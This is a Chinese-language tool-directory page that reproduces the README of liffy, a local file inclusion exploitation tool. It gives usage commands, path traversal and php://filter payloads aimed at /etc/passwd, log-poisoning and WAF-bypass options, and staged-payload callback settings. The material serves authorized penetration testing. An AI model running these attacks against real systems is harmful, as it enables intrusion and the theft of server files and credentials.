Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
liffy — 本地文件包含漏洞利用工具 | Kitploit
工具/GitHubGitHub/mzfr/liffy
漏洞分析Web应用程序漏洞利用WAF绕过渗透测试Payload 开发
GitHubmzfr/liffy

liffy

本地文件包含漏洞利用工具

查看仓库
9781143个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy

高级本地文件包含利用工具

liffy 运行截图

一款功能强大的 Python 本地文件包含(LFI)利用工具,具备 WAF 绕过、编码技术以及全面的漏洞检测等高级功能。

Liffy v2.0 是对 liffy 的重大增强版本,原始版本由 rotlogix/liffy 创建。此版本包含了现代化功能,如 Rich 终端输出、YAML 配置、增强的线程管理以及多种高级利用技术。

⚠️ 大量新变更采用 vibe coding 方式完成。

目录

  • 功能特性
  • 安装
  • 使用方法
  • 配置
  • 高级技术
  • 示例
  • 贡献
  • 致谢

功能特性

核心 LFI 技术

  • data:// - 通过 data 包装器执行代码
  • expect:// - 通过 expect 包装器执行代码
  • input:// - 通过 input 包装器执行代码
  • filter:// - 通过 filter 包装器读取任意文件
  • /proc/self/environ - CGI 模式下执行代码
  • Apache access.log 投毒 - 日志文件利用
  • Linux auth.log SSH 投毒 - SSH 日志利用
  • 空字节注入 - 旧版 PHP 空字节攻击
  • ZIP 包装器利用 - ZIP 文件包含攻击
  • 包装器检测 - 安全探测常见 LFI 流包装器
  • 带外探测 - 盲包装器/SSRF 行为的回调 Payload
  • 盲 LFI 检测 - 文件内容未回显时的响应差异探测
  • 自动扫描模式 - 安全优先的检测扫描计划,涵盖遍历、包装器和盲检测

高级特性

  • WAF 绕过 - 多种绕过常见 WAF 的技术
  • 高级编码 - 双重 URL 编码、Unicode、大小写变体
  • POST 请求支持 - 完全支持 POST 方法和自定义数据
  • 自定义 Header - 可配置的 HTTP 头
  • User-Agent 轮换 - 随机 User-Agent 以避免检测
  • 速率限制 - 可配置的请求节流
  • 多线程 - 增强的线程池管理
  • 检测模式 - 仅进行漏洞扫描,不进行利用
  • Rich 终端输出 - 带进度条的漂亮彩色输出
  • YAML 配置 - 持久化设置管理

现代化增强

  • 增强的漏洞检测 - 带有置信度评分的高级响应分析
  • 线程池管理 - 通过自适应线程优化性能
  • 配置管理 - 基于 YAML 的设置,支持 CLI 覆盖
  • 全面日志记录 - 详细的执行报告和进度跟踪

安装

确保你使用的是 Python 3。Liffy 不支持 Python 2。以下示例使用 uv run python,以便命令在项目环境内运行。

root@kitploit:~
# 如果尚未安装 uv,请先安装
curl -LsSf https://astral.sh/uv/install.sh | sh

# 克隆仓库
git clone https://github.com/mzfr/liffy
cd liffy

# 使用 uv 创建虚拟环境
uv venv

# 从 pyproject.toml 安装依赖
uv sync

# 运行 liffy
uv run python liffy.py --help

使用方法

基本语法

root@kitploit:~
uv run python liffy.py <URL> [选项]

命令行选项

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   要测试 LFI 的 URL

核心技术:
  -d, --data            使用 data:// 技术
  -i, --input           使用 input:// 技术
  -e, --expect          使用 expect:// 技术
  -f, --filter          使用 filter:// 技术
  -p, --proc            使用 /proc/self/environ 技术
  -a, --access          Apache 访问日志技术
  --ssh                 SSH 认证日志投毒
  -dt, --directorytraverse  测试目录遍历
  --null-byte           测试空字节注入
  --zip                 测试 ZIP 包装器利用
  --wrappers, --wrapper 检测常见 LFI 流包装器
  --wrapper-list WRAPPER_LIST
                        自定义包装器探测 Payload 列表路径
  --oob                 发送带外回调探测
  --oob-url OOB_URL     OOB 回调基础 URL
  --blind               运行盲 LFI 响应差异检测
  --blind-list BLIND_LIST
                        自定义盲 LFI 探测列表路径
  --auto                运行安全的自动扫描计划

高级选项:
  --encoding            使用高级编码/绕过技术
  --waf-bypass          使用 WAF 绕过技术
  --method {GET,POST}   使用的 HTTP 方法(默认:GET)
  --post-data POST_DATA POST 数据(格式:key=value&key2=value2)
  --headers HEADERS     自定义 Header(格式:Header1:Value1,Header2:Value2)
  --detection           仅执行 LFI 检测,不进行利用

请求选项:
  --timeout TIMEOUT     HTTP 请求超时时间(秒)
  --proxy PROXY         HTTP(S) 代理 URL,例如 http://127.0.0.1:8080
  --verify-tls          验证 TLS 证书,而不是使用不安全的请求
  --user-agent UA       自定义 User-Agent Header
  --delay DELAY         请求之间延迟(秒)
  --retries RETRIES     每次 HTTP 请求重试次数

自动化选项:
  --lhost LHOST         分阶段 Payload 的回调主机
  --lport LPORT         分阶段 Payload 的回调端口
  --read-file PATH      通过 filter:// 读取的文件路径
  -y, --yes             使用默认值回答提示并非交互式运行
  --json                输出 JSON 运行摘要
  --output OUTPUT       将 JSON 运行摘要写入文件
  --quiet               抑制正常终端输出

通用选项:
  -ns, --nostager       直接执行 Payload,不使用分阶段器
  -r, --relative        使用路径遍历序列进行攻击
  -l, --location LOCATION  目标文件路径(access log、auth log 等)
  --cookies COOKIES     用于认证的会话 Cookie
  -t, --threads THREADS 使用的线程数(默认:5)
  --no-color            禁用彩色输出
  --no-banner           禁用横幅显示
  --config              创建默认 YAML 配置文件

配置

YAML 配置

创建包含持久设置的配置文件:

root@kitploit:~
uv run python liffy.py --config

这将创建包含默认设置的 liffy_config.yaml:

root@kitploit:~
# Liffy 配置文件
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

设置 disable_banner: true 可在默认情况下隐藏启动横幅/徽标。CLI 标志仍会覆盖配置值,因此你也可以在单次运行时使用 --no-banner、--no-color 或 --quiet。

环境变量

你也可以使用环境变量:

  • LIFFY_THREADS - 线程数
  • LIFFY_RATE_LIMIT - 速率限制延迟
  • LIFFY_NO_COLOR - 禁用颜色(true/false)

高级技术

WAF 绕过技术

当启用 --waf-bypass 时,liffy 会自动应用多种规避技术:

  • 注释注入:/**/、#、;
  • 协议混淆:file:///、pHp://
  • 编码分层:多种编码组合
  • 路径混淆:./、../、空字节

编码绕过技术

使用 --encoding,liffy 应用高级编码方法:

  • 双重 URL 编码:%252e%252e%252f
  • Unicode 编码:\u002e\u002e\u002f
  • 大小写混合:..%2F、..%2f
  • HTML 实体编码:&#46;&#46;&#47;

POST 请求支持

root@kitploit:~
# POST 带表单数据
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST 带自定义 Header
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

请求调优

root@kitploit:~
# 通过本地代理发送流量并重试临时失败
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# 使用固定的 User-Agent 和自定义请求延迟
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

示例

基本 LFI 测试

使用 data:// 包装器测试

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

使用多种技术测试

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

仅检测模式

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

高级用法

WAF 绕过与编码

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

多线程与速率限制

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

POST 请求与自定义 Header

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

日志投毒

Apache 访问日志投毒

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

SSH 认证日志投毒

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

自定义日志位置

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

目录遍历

相对路径遍历

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

目录遍历测试

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

特殊技术

空字节注入(旧版 PHP)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

ZIP 包装器利用

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

常见包装器检测

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

包装器检测使用安全的默认探测针对 file://、php://filter、data://、php://temp、php://memory 及相关包装器。zip://、phar:// 和 glob:// 被视为信息性/条件性的,因为它们通常需要目标侧的文件或暴露列表的接收行为。

你可以提供自定义的包装器 Payload 列表。如果省略 --wrapper-list,liffy 将回退到内置探测:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

每个非空行可以是原始 Payload 或 name=payload 格式:

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

带外回调探测

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

配合 HTTP/DNS 回调监听器使用。Liffy 发送 URL 包装器风格的 Payload,由你验证目标是否回调。

盲 LFI 检测

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

盲检测将现有文件探测与随机缺失文件基线进行比较,并在内容未直接回显时报告状态、长度或时间差异。

你可以提供自定义的盲探测列表。如果省略或为空,liffy 使用内置探测:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

每个非空行可以是原始 Payload 或 name=payload 格式:

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

安全自动扫描

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto 启用仅检测的目录遍历、包装器检测和盲检测。如果同时提供了 --oob-url,还将包含 OOB 探测。

包含所有技术的全面扫描

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

认证与 Cookie

使用会话 Cookie

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

脚本化/非交互式用法

无需提示提供回调值

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

无需提示通过 filter:// 读取特定文件

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

结构化输出

打印 JSON 运行摘要

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

将 JSON 摘要写入磁盘同时保留终端输出

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

输出控制

禁用颜色和横幅

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

抑制正常终端输出

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

默认文件路径

以下默认位置在未指定自定义路径时使用:

  • SSH auth.log: /var/log/auth.log
  • Apache access.log: /var/log/apache2/access.log
  • 备选 Apache 日志: /var/log/httpd/access_log

贡献

我们欢迎贡献!以下是你提供帮助的方式:

功能建议

  • 新的 LFI 利用技术
  • 额外的 WAF 绕过方法
  • 增强的编码技术
  • Payload 优化
  • 检测改进

错误报告

  • 通过 GitHub Issues 报告问题
  • 包含详细的复现步骤
  • 提供目标环境详细信息

拉取请求

  • Fork 仓库
  • 创建功能分支
  • 进行修改并附带测试
  • 提交拉取请求

如有任何问题或建议,欢迎提出问题!

漏洞检测

Liffy 的检测模式提供全面的漏洞分析:

置信度评分

  • 高置信度(80-100%):强指标,如 /etc/passwd 内容
  • 中置信度(50-79%):部分文件内容或可疑响应
  • 低置信度(20-49%):可能需要手动验证的潜在指标

检测特性

  • 文件内容分析:识别 Linux、Windows 和 PHP 文件模式
  • 响应分析:HTTP 状态码、内容长度、时间分析
  • WAF 检测:识别常见 WAF 特征
  • 证据收集:捕获漏洞证据用于报告

示例检测输出

root@kitploit:~
[+] 漏洞摘要
==================================================
[1] 发现漏洞
    Payload: ../../etc/passwd
    置信度: 85%
    证据: Linux /etc/passwd 文件: root:
    状态码: 200
    内容长度: 1547

故障排除

常见问题

WAF 阻止请求

root@kitploit:~
# 使用 WAF 绕过技术
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# 减少线程数并增加延迟
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

速率限制问题

root@kitploit:~
# 在配置文件中增加延迟
max_threads: 2
rate_limit_delay: 1.0

调试模式

如需详细输出,可修改配置:

root@kitploit:~
debug_mode: true
verbose_output: true

安全说明

Liffy 仅设计用于授权的安全测试。

  • 仅在你拥有或已获得明确测试许可的系统上使用
  • 遵循负责任的披露实践
  • 尊重速率限制,避免 DoS 情况
  • 注意你所在司法管辖区的法律后果

作者不对工具的滥用负责。

致谢

原始灵感

  • 原始 liffy 由 hvqzao 开发
  • 初始概念来自 rotlogix/liffy

技术与研究

  • 来自各项安全研究的 LFI 利用技术
  • 来自公共安全资源的 WAF 绕过方法
  • PHP 包装器利用文档

设计与素材

  • 徽标设计来自 renderforest
  • 使用 Rich 库进行终端样式设计

许可证

本项目采用 GNU 通用公共许可证 v3.0 - 详情请参阅 LICENSE 文件。

下载工具